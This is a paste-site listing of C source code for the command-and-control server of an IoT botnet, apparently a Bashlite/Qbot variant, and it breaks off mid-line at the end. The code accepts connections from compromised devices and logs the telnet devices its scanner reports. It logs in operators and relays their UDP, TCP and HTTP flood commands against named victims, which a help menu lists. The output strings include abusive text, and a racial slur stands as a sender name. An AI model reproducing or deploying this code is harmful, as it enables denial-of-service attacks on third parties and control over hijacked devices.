SHOW:
|
|
- or go back to the newest paste.
| 1 | #include <stdio.h> | |
| 2 | #include <stdlib.h> | |
| 3 | #include <stdint.h> | |
| 4 | #include <inttypes.h> | |
| 5 | #include <string.h> | |
| 6 | #include <sys/types.h> | |
| 7 | #include <sys/socket.h> | |
| 8 | #include <netdb.h> | |
| 9 | #include <unistd.h> | |
| 10 | #include <time.h> | |
| 11 | #include <fcntl.h> | |
| 12 | #include <sys/epoll.h> | |
| 13 | #include <errno.h> | |
| 14 | #include <pthread.h> | |
| 15 | #include <signal.h> | |
| 16 | #include <arpa/inet.h> | |
| 17 | #define MAXFDS 1000000 | |
| 18 | ////////////////////////////////// | |
| 19 | struct login_info {
| |
| 20 | char username[20]; | |
| 21 | char password[20]; | |
| 22 | }; | |
| 23 | static struct login_info accounts[22]; | |
| 24 | struct clientdata_t {
| |
| 25 | uint32_t ip; | |
| 26 | char connected; | |
| 27 | } clients[MAXFDS]; | |
| 28 | struct telnetdata_t {
| |
| 29 | int connected; | |
| 30 | } managements[MAXFDS]; | |
| 31 | struct args {
| |
| 32 | int sock; | |
| 33 | struct sockaddr_in cli_addr; | |
| 34 | }; | |
| 35 | static volatile FILE *telFD; | |
| 36 | static volatile FILE *fileFD; | |
| 37 | static volatile int epollFD = 0; | |
| 38 | static volatile int listenFD = 0; | |
| 39 | static volatile int OperatorsConnected = 0; | |
| 40 | static volatile int TELFound = 0; | |
| 41 | static volatile int scannerreport; | |
| 42 | ////////////////////////////////// | |
| 43 | int fdgets(unsigned char *buffer, int bufferSize, int fd) {
| |
| 44 | int total = 0, got = 1; | |
| 45 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
| |
| 46 | return got; | |
| 47 | } | |
| 48 | void trim(char *str) {
| |
| 49 | int i; | |
| 50 | int begin = 0; | |
| 51 | int end = strlen(str) - 1; | |
| 52 | while (isspace(str[begin])) begin++; | |
| 53 | while ((end >= begin) && isspace(str[end])) end--; | |
| 54 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
| 55 | str[i - begin] = '\0'; | |
| 56 | } | |
| 57 | static int make_socket_non_blocking (int sfd) {
| |
| 58 | int flags, s; | |
| 59 | flags = fcntl (sfd, F_GETFL, 0); | |
| 60 | if (flags == -1) {
| |
| 61 | perror ("fcntl");
| |
| 62 | return -1; | |
| 63 | } | |
| 64 | flags |= O_NONBLOCK; | |
| 65 | s = fcntl (sfd, F_SETFL, flags); | |
| 66 | if (s == -1) {
| |
| 67 | perror ("fcntl");
| |
| 68 | return -1; | |
| 69 | } | |
| 70 | return 0; | |
| 71 | } | |
| 72 | static int create_and_bind (char *port) {
| |
| 73 | struct addrinfo hints; | |
| 74 | struct addrinfo *result, *rp; | |
| 75 | int s, sfd; | |
| 76 | memset (&hints, 0, sizeof (struct addrinfo)); | |
| 77 | hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */ | |
| 78 | hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */ | |
| 79 | hints.ai_flags = AI_PASSIVE; /* All interfaces */ | |
| 80 | s = getaddrinfo (NULL, port, &hints, &result); | |
| 81 | if (s != 0) {
| |
| 82 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s)); | |
| 83 | return -1; | |
| 84 | } | |
| 85 | for (rp = result; rp != NULL; rp = rp->ai_next) {
| |
| 86 | sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol); | |
| 87 | if (sfd == -1) continue; | |
| 88 | int yes = 1; | |
| 89 | if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
| |
| 90 | s = bind (sfd, rp->ai_addr, rp->ai_addrlen); | |
| 91 | if (s == 0) {
| |
| 92 | break; | |
| 93 | } | |
| 94 | close (sfd); | |
| 95 | } | |
| 96 | if (rp == NULL) {
| |
| 97 | fprintf (stderr, "Could not bind\n"); | |
| 98 | return -1; | |
| 99 | } | |
| 100 | freeaddrinfo (result); | |
| 101 | return sfd; | |
| 102 | } | |
| 103 | void broadcast(char *msg, int us, char *sender) | |
| 104 | {
| |
| 105 | int sendMGM = 1; | |
| 106 | if(strcmp(msg, "PING") == 0) sendMGM = 0; | |
| 107 | char *wot = malloc(strlen(msg) + 10); | |
| 108 | memset(wot, 0, strlen(msg) + 10); | |
| 109 | strcpy(wot, msg); | |
| 110 | trim(wot); | |
| 111 | time_t rawtime; | |
| 112 | struct tm * timeinfo; | |
| 113 | time(&rawtime); | |
| 114 | timeinfo = localtime(&rawtime); | |
| 115 | char *timestamp = asctime(timeinfo); | |
| 116 | trim(timestamp); | |
| 117 | int i; | |
| 118 | for(i = 0; i < MAXFDS; i++) | |
| 119 | {
| |
| 120 | if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue; | |
| 121 | if(sendMGM && managements[i].connected) | |
| 122 | {
| |
| 123 | send(i, "\x1b[33m", 5, MSG_NOSIGNAL); | |
| 124 | send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS | |
| 125 | send(i, ": ", 2, MSG_NOSIGNAL); | |
| 126 | } | |
| 127 | printf("sent to fd: %d\n", i);
| |
| 128 | send(i, msg, strlen(msg), MSG_NOSIGNAL); | |
| 129 | if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mType: ", 13, MSG_NOSIGNAL); | |
| 130 | else send(i, "\n", 1, MSG_NOSIGNAL); | |
| 131 | } | |
| 132 | free(wot); | |
| 133 | } | |
| 134 | void *BotEventLoop(void *useless) {
| |
| 135 | struct epoll_event event; | |
| 136 | struct epoll_event *events; | |
| 137 | int s; | |
| 138 | events = calloc (MAXFDS, sizeof event); | |
| 139 | while (1) {
| |
| 140 | int n, i; | |
| 141 | n = epoll_wait (epollFD, events, MAXFDS, -1); | |
| 142 | for (i = 0; i < n; i++) {
| |
| 143 | if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
| |
| 144 | clients[events[i].data.fd].connected = 0; | |
| 145 | close(events[i].data.fd); | |
| 146 | continue; | |
| 147 | } | |
| 148 | else if (listenFD == events[i].data.fd) {
| |
| 149 | while (1) {
| |
| 150 | struct sockaddr in_addr; | |
| 151 | socklen_t in_len; | |
| 152 | int infd, ipIndex; | |
| 153 | ||
| 154 | in_len = sizeof in_addr; | |
| 155 | infd = accept (listenFD, &in_addr, &in_len); | |
| 156 | if (infd == -1) {
| |
| 157 | if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; | |
| 158 | else {
| |
| 159 | perror ("accept");
| |
| 160 | break; | |
| 161 | } | |
| 162 | } | |
| 163 | ||
| 164 | clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; | |
| 165 | int dup = 0; | |
| 166 | for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
| |
| 167 | if(!clients[ipIndex].connected || ipIndex == infd) continue; | |
| 168 | if(clients[ipIndex].ip == clients[infd].ip) {
| |
| 169 | dup = 1; | |
| 170 | break; | |
| 171 | }} | |
| 172 | if(dup) {
| |
| 173 | if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
| |
| 174 | close(infd); | |
| 175 | continue; | |
| 176 | } | |
| 177 | s = make_socket_non_blocking (infd); | |
| 178 | if (s == -1) { close(infd); break; }
| |
| 179 | event.data.fd = infd; | |
| 180 | event.events = EPOLLIN | EPOLLET; | |
| 181 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event); | |
| 182 | if (s == -1) {
| |
| 183 | perror ("epoll_ctl");
| |
| 184 | close(infd); | |
| 185 | break; | |
| 186 | } | |
| 187 | clients[infd].connected = 1; | |
| 188 | send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL); | |
| 189 | } | |
| 190 | continue; | |
| 191 | } | |
| 192 | else {
| |
| 193 | int datafd = events[i].data.fd; | |
| 194 | struct clientdata_t *client = &(clients[datafd]); | |
| 195 | int done = 0; | |
| 196 | client->connected = 1; | |
| 197 | while (1) {
| |
| 198 | ssize_t count; | |
| 199 | char buf[2048]; | |
| 200 | memset(buf, 0, sizeof buf); | |
| 201 | while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
| |
| 202 | if(strstr(buf, "\n") == NULL) { done = 1; break; }
| |
| 203 | trim(buf); | |
| 204 | if(strcmp(buf, "PING") == 0) {
| |
| 205 | if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
| |
| 206 | continue; | |
| 207 | } | |
| 208 | if(strstr(buf, "REPORT ") == buf) {
| |
| 209 | char *line = strstr(buf, "REPORT ") + 7; | |
| 210 | fprintf(telFD, "%s\n", line); | |
| 211 | fflush(telFD); | |
| 212 | TELFound++; | |
| 213 | continue; | |
| 214 | } | |
| 215 | if(strstr(buf, "PROBING") == buf) {
| |
| 216 | char *line = strstr(buf, "PROBING"); | |
| 217 | scannerreport = 1; | |
| 218 | continue; | |
| 219 | } | |
| 220 | if(strstr(buf, "REMOVING PROBE") == buf) {
| |
| 221 | char *line = strstr(buf, "REMOVING PROBE"); | |
| 222 | scannerreport = 0; | |
| 223 | continue; | |
| 224 | } | |
| 225 | if(strcmp(buf, "PONG") == 0) {
| |
| 226 | continue; | |
| 227 | } | |
| 228 | printf("buf: \"%s\"\n", buf);
| |
| 229 | } | |
| 230 | if (count == -1) {
| |
| 231 | if (errno != EAGAIN) {
| |
| 232 | done = 1; | |
| 233 | } | |
| 234 | break; | |
| 235 | } | |
| 236 | else if (count == 0) {
| |
| 237 | done = 1; | |
| 238 | break; | |
| 239 | } | |
| 240 | if (done) {
| |
| 241 | client->connected = 0; | |
| 242 | close(datafd); | |
| 243 | } | |
| 244 | } | |
| 245 | } | |
| 246 | } | |
| 247 | } | |
| 248 | } | |
| 249 | unsigned int BotsConnected() {
| |
| 250 | int i = 0, total = 0; | |
| 251 | for(i = 0; i < MAXFDS; i++) {
| |
| 252 | if(!clients[i].connected) continue; | |
| 253 | total++; | |
| 254 | } | |
| 255 | return total; | |
| 256 | } | |
| 257 | void *TitleWriter(void *sock) {
| |
| 258 | int datafd = (int)sock; | |
| 259 | char string[2048]; | |
| 260 | while(1) {
| |
| 261 | memset(string, 0, 2048); | |
| 262 | sprintf(string, "%c]0;IoT Devices: %d | Masters Connected: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007'); | |
| 263 | if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return; | |
| 264 | sleep(2); | |
| 265 | }} | |
| 266 | int Find_Login(char *str) {
| |
| 267 | FILE *fp; | |
| 268 | int line_num = 0; | |
| 269 | int find_result = 0, find_line=0; | |
| 270 | char temp[512]; | |
| 271 | ||
| 272 | if((fp = fopen("login.txt", "r")) == NULL){
| |
| 273 | return(-1); | |
| 274 | } | |
| 275 | while(fgets(temp, 512, fp) != NULL){
| |
| 276 | if((strstr(temp, str)) != NULL){
| |
| 277 | find_result++; | |
| 278 | find_line = line_num; | |
| 279 | } | |
| 280 | line_num++; | |
| 281 | } | |
| 282 | if(fp) | |
| 283 | fclose(fp); | |
| 284 | if(find_result == 0)return 0; | |
| 285 | return find_line; | |
| 286 | } | |
| 287 | void *BotWorker(void *sock) {
| |
| 288 | int datafd = (int)sock; | |
| 289 | int find_line; | |
| 290 | OperatorsConnected++; | |
| 291 | pthread_t title; | |
| 292 | char buf[2048]; | |
| 293 | char* username; | |
| 294 | char* password; | |
| 295 | memset(buf, 0, sizeof buf); | |
| 296 | char botnet[2048]; | |
| 297 | memset(botnet, 0, 2048); | |
| 298 | ||
| 299 | FILE *fp; | |
| 300 | int i=0; | |
| 301 | int c; | |
| 302 | fp=fopen("login.txt", "r");
| |
| 303 | while(!feof(fp)) {
| |
| 304 | c=fgetc(fp); | |
| 305 | ++i; | |
| 306 | } | |
| 307 | int j=0; | |
| 308 | rewind(fp); | |
| 309 | while(j!=i-1) {
| |
| 310 | fscanf(fp, "%s %s", accounts[j].username, accounts[j].password); | |
| 311 | ++j; | |
| 312 | } | |
| 313 | ||
| 314 | if(send(datafd, "\x1b[36mWelcome,Username?: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end; | |
| 315 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; | |
| 316 | trim(buf); | |
| 317 | char* nickstring; | |
| 318 | sprintf(accounts[find_line].username, buf); | |
| 319 | nickstring = ("%s", buf);
| |
| 320 | find_line = Find_Login(nickstring); | |
| 321 | if(strcmp(nickstring, accounts[find_line].username) == 0){
| |
| 322 | if(send(datafd, "\x1b[32mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end; | |
| 323 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; | |
| 324 | trim(buf); | |
| 325 | if(strcmp(buf, accounts[find_line].password) != 0) goto failed; | |
| 326 | memset(buf, 0, 2048); | |
| 327 | goto Banner; | |
| 328 | } | |
| 329 | failed: | |
| 330 | if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end; | |
| 331 | char failed_line1[80]; | |
| 332 | ||
| 333 | sprintf(failed_line1, "\x1b[36mFUCK OFF SKID\r\n"); | |
| 334 | if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end; | |
| 335 | sleep(5); | |
| 336 | goto end; | |
| 337 | ||
| 338 | Banner: | |
| 339 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 340 | char ascii_banner_line1 [5000]; | |
| 341 | char ascii_banner_line2 [5000]; | |
| 342 | char ascii_banner_line3 [5000]; | |
| 343 | char ascii_banner_line4 [5000]; | |
| 344 | char ascii_banner_line5 [5000]; | |
| 345 | char ascii_banner_line6 [5000]; | |
| 346 | char ascii_banner_line7 [5000]; | |
| 347 | char ascii_banner_line8 [5000]; | |
| 348 | char ascii_banner_line9 [5000]; | |
| 349 | char welcome_line [80]; | |
| 350 | char banner_bot_count [2048]; | |
| 351 | memset(banner_bot_count, 0, 2048); | |
| 352 | ||
| 353 | sprintf(ascii_banner_line1, "\x1b[31m ** ** ** \r\n"); | |
| 354 | sprintf(ascii_banner_line2, "\x1b[32m /** /** // \r\n"); | |
| 355 | sprintf(ascii_banner_line3, "\x1b[33m /** /** ******* ** ** **\r\n"); | |
| 356 | sprintf(ascii_banner_line4, "\x1b[34m /** /* //**///** /** //** ** \r\n"); | |
| 357 | sprintf(ascii_banner_line5, "\x1b[35m /** /** /** /** /** //*** \r\n"); | |
| 358 | sprintf(ascii_banner_line6, "\x1b[36m /** /** /** /** /** **/** \r\n"); | |
| 359 | sprintf(ascii_banner_line7, "\x1b[37m //******* *** /** /** ** //**\r\n"); | |
| 360 | sprintf(ascii_banner_line8, "\x1b[38m /////// /// // // // // \r\n"); | |
| 361 | sprintf(ascii_banner_line9, "\r\n"); | |
| 362 | sprintf(welcome_line, "\x1b[32m #\x1b[36m----- \x1b[37mRouter Count: %d\x1b[36m -----\x1b[31m#\r\n", BotsConnected(), OperatorsConnected); | |
| 363 | sprintf(banner_bot_count, "\r\n\x1b[32m #\x1b[36m-------- \x1b[37mWelcome, %s\x1b[36m --------\x1b[31m#\r\n", accounts[find_line].username); | |
| 364 | ||
| 365 | if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end; | |
| 366 | if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end; | |
| 367 | if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end; | |
| 368 | if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end; | |
| 369 | if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end; | |
| 370 | if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end; | |
| 371 | if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end; | |
| 372 | if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end; | |
| 373 | if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end; | |
| 374 | if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end; | |
| 375 | if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end; | |
| 376 | while(1) {
| |
| 377 | if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end; | |
| 378 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 379 | break; | |
| 380 | } | |
| 381 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 382 | managements[datafd].connected = 1; | |
| 383 | ||
| 384 | while(fdgets(buf, sizeof buf, datafd) > 0) | |
| 385 | {
| |
| 386 | if(strstr(buf, "BOTS")) {
| |
| 387 | char botcount [2048]; | |
| 388 | memset(botcount, 0, 2048); | |
| 389 | sprintf(botcount, "[+] - Slaves: [\x1b[36m %d \x1b[37m] [+] - Masters: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected); | |
| 390 | if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return; | |
| 391 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 392 | continue; | |
| 393 | } | |
| 394 | if(strstr(buf, "STATUS")){
| |
| 395 | char statuscount [2048]; | |
| 396 | memset(statuscount, 0, 2048); | |
| 397 | sprintf(statuscount, "[+] - Devices: [\x1b[36m %d \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport); | |
| 398 | if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return; | |
| 399 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 400 | continue; | |
| 401 | } | |
| 402 | if(strstr(buf, "HELP")) {
| |
| 403 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 404 | char helpline1 [80]; | |
| 405 | char helpline2 [80]; | |
| 406 | char helpline3 [80]; | |
| 407 | char helpline4 [80]; | |
| 408 | char helpline5 [80]; | |
| 409 | char helpline6 [80]; | |
| 410 | char helpline7 [80]; | |
| 411 | char helpline9 [80]; | |
| 412 | char helpline11 [80]; | |
| 413 | char helpline12 [80]; | |
| 414 | char helpline13 [80]; | |
| 415 | char helpline14 [80]; | |
| 416 | ||
| 417 | sprintf(helpline1, " \r\n\x1b[37m#--- \x1b[36mCOMMANDS \x1b[37m---#\r\n\r\n"); | |
| 418 | sprintf(helpline2, " \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n"); | |
| 419 | sprintf(helpline3, " \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n"); | |
| 420 | sprintf(helpline4, " \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n"); | |
| 421 | sprintf(helpline5, " \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n"); | |
| 422 | sprintf(helpline7, " \x1b[37m- Kills Attack - \x1b[36mKILL\r\n"); | |
| 423 | sprintf(helpline9, " \x1b[37m- Bot Count - \x1b[36mBOTS\r\n"); | |
| 424 | sprintf(helpline11, " \x1b[37m- Clear Screen - \x1b[36mCLEAR\r\n"); | |
| 425 | sprintf(helpline12, " \x1b[37m- LOGOUT - \x1b[36mLOGOUT\r\n"); | |
| 426 | sprintf(helpline13, " \x1b[37m- TOS - \x1b[36mTOS\r\n"); | |
| 427 | sprintf(helpline14, " \r\n"); | |
| 428 | ||
| 429 | if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end; | |
| 430 | if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end; | |
| 431 | if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end; | |
| 432 | if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end; | |
| 433 | if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end; | |
| 434 | if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end; | |
| 435 | if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end; | |
| 436 | if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end; | |
| 437 | if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end; | |
| 438 | if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end; | |
| 439 | if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end; | |
| 440 | if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end; | |
| 441 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 442 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 443 | continue; | |
| 444 | } | |
| 445 | if(strstr(buf, "ls")) {
| |
| 446 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 447 | char ls1 [80]; | |
| 448 | char ls2 [80]; | |
| 449 | char ls3 [80]; | |
| 450 | char ls4 [80]; | |
| 451 | char ls5 [80]; | |
| 452 | ||
| 453 | sprintf(ls1, " \r\n\x1b[37m#--- \x1b[36mMETHODS \x1b[37m---#\r\n\r\n"); | |
| 454 | sprintf(ls2, " \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n"); | |
| 455 | sprintf(ls3, " \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n"); | |
| 456 | sprintf(ls4, " \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n"); | |
| 457 | sprintf(ls5, " \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n"); | |
| 458 | ||
| 459 | if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end; | |
| 460 | if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end; | |
| 461 | if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end; | |
| 462 | if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end; | |
| 463 | if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end; | |
| 464 | ||
| 465 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 466 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 467 | continue; | |
| 468 | } | |
| 469 | ||
| 470 | if(strstr(buf, "KILL")) {
| |
| 471 | char killattack [2048]; | |
| 472 | memset(killattack, 0, 2048); | |
| 473 | sprintf(killattack, "!* KILLATTK\r\n"); | |
| 474 | if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end; | |
| 475 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 476 | continue; | |
| 477 | } | |
| 478 | if(strstr(buf, "CLEAR")) {
| |
| 479 | char clearscreen [2048]; | |
| 480 | memset(clearscreen, 0, 2048); | |
| 481 | sprintf(clearscreen, "\033[2J\033[1;1H"); | |
| 482 | if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end; | |
| 483 | if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end; | |
| 484 | if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end; | |
| 485 | if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end; | |
| 486 | if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end; | |
| 487 | if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end; | |
| 488 | if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end; | |
| 489 | if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end; | |
| 490 | if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end; | |
| 491 | while(1) {
| |
| 492 | if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end; | |
| 493 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 494 | break; | |
| 495 | } | |
| 496 | continue; | |
| 497 | } | |
| 498 | if(strstr(buf, "TOS")) {
| |
| 499 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 500 | char tos1 [80]; | |
| 501 | sprintf(tos1, "\r\n\x1b[36mTOS: \x1b[37mhttp://pastebin.com/HGHUJLE8\r\n\r\n"); | |
| 502 | ||
| 503 | if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end; | |
| 504 | pthread_create(&title, NULL, &TitleWriter, sock); | |
| 505 | if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end; | |
| 506 | continue; | |
| 507 | ||
| 508 | } | |
| 509 | ||
| 510 | if(strstr(buf, "LOGOUT")) {
| |
| 511 | char logoutmessage [2048]; | |
| 512 | memset(logoutmessage, 0, 2048); | |
| 513 | sprintf(logoutmessage, "Bye, %s", accounts[find_line].username); | |
| 514 | if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end; | |
| 515 | sleep(5); | |
| 516 | goto end; | |
| 517 | } | |
| 518 | trim(buf); | |
| 519 | if(send(datafd, "\x1b[37mType: ", 11, MSG_NOSIGNAL) == -1) goto end; | |
| 520 | if(strlen(buf) == 0) continue; | |
| 521 | printf("%s: \"%s\"\n",accounts[find_line].username, buf);
| |
| 522 | ||
| 523 | FILE *LogFile; | |
| 524 | LogFile = fopen("server.log", "a");
| |
| 525 | time_t now; | |
| 526 | struct tm *gmt; | |
| 527 | char formatted_gmt [50]; | |
| 528 | char lcltime[50]; | |
| 529 | now = time(NULL); | |
| 530 | gmt = gmtime(&now); | |
| 531 | strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt ); | |
| 532 | fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf); | |
| 533 | fclose(LogFile); | |
| 534 | broadcast(buf, datafd, accounts[find_line].username); | |
| 535 | memset(buf, 0, 2048); | |
| 536 | } | |
| 537 | end: | |
| 538 | managements[datafd].connected = 0; | |
| 539 | close(datafd); | |
| 540 | OperatorsConnected--; | |
| 541 | } | |
| 542 | void *BotListener(int port) {
| |
| 543 | int sockfd, newsockfd; | |
| 544 | socklen_t clilen; | |
| 545 | struct sockaddr_in serv_addr, cli_addr; | |
| 546 | sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
| 547 | if (sockfd < 0) perror("ERROR opening socket");
| |
| 548 | bzero((char *) &serv_addr, sizeof(serv_addr)); | |
| 549 | serv_addr.sin_family = AF_INET; | |
| 550 | serv_addr.sin_addr.s_addr = INADDR_ANY; | |
| 551 | serv_addr.sin_port = htons(port); | |
| 552 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
| |
| 553 | listen(sockfd,5); | |
| 554 | clilen = sizeof(cli_addr); | |
| 555 | while(1) {
| |
| 556 | newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); | |
| 557 | if (newsockfd < 0) perror("ERROR on accept");
| |
| 558 | pthread_t thread; | |
| 559 | pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd); | |
| 560 | }} | |
| 561 | int main (int argc, char *argv[], void *sock) | |
| 562 | {
| |
| 563 | signal(SIGPIPE, SIG_IGN); | |
| 564 | int s, threads, port; | |
| 565 | struct epoll_event event; | |
| 566 | if (argc != 4) {
| |
| 567 | fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]); | |
| 568 | exit (EXIT_FAILURE); | |
| 569 | } | |
| 570 | port = atoi(argv[3]); | |
| 571 | telFD = fopen("telnet.txt", "a+");
| |
| 572 | threads = atoi(argv[2]); | |
| 573 | listenFD = create_and_bind (argv[1]); | |
| 574 | if (listenFD == -1) abort (); | |
| 575 | s = make_socket_non_blocking (listenFD); | |
| 576 | if (s == -1) abort (); | |
| 577 | s = listen (listenFD, SOMAXCONN); | |
| 578 | if (s == -1) {
| |
| 579 | perror ("listen");
| |
| 580 | abort (); | |
| 581 | } | |
| 582 | epollFD = epoll_create1 (0); | |
| 583 | if (epollFD == -1) {
| |
| 584 | perror ("epoll_create");
| |
| 585 | abort (); | |
| 586 | } | |
| 587 | event.data.fd = listenFD; | |
| 588 | event.events = EPOLLIN | EPOLLET; | |
| 589 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event); | |
| 590 | if (s == -1) {
| |
| 591 | perror ("epoll_ctl");
| |
| 592 | abort (); | |
| 593 | } | |
| 594 | pthread_t thread[threads + 2]; | |
| 595 | while(threads--) {
| |
| 596 | pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL); | |
| 597 | } | |
| 598 | pthread_create(&thread[0], NULL, &BotListener, port); | |
| 599 | while(1) {
| |
| 600 | broadcast("PING", -1, "NIGGER");
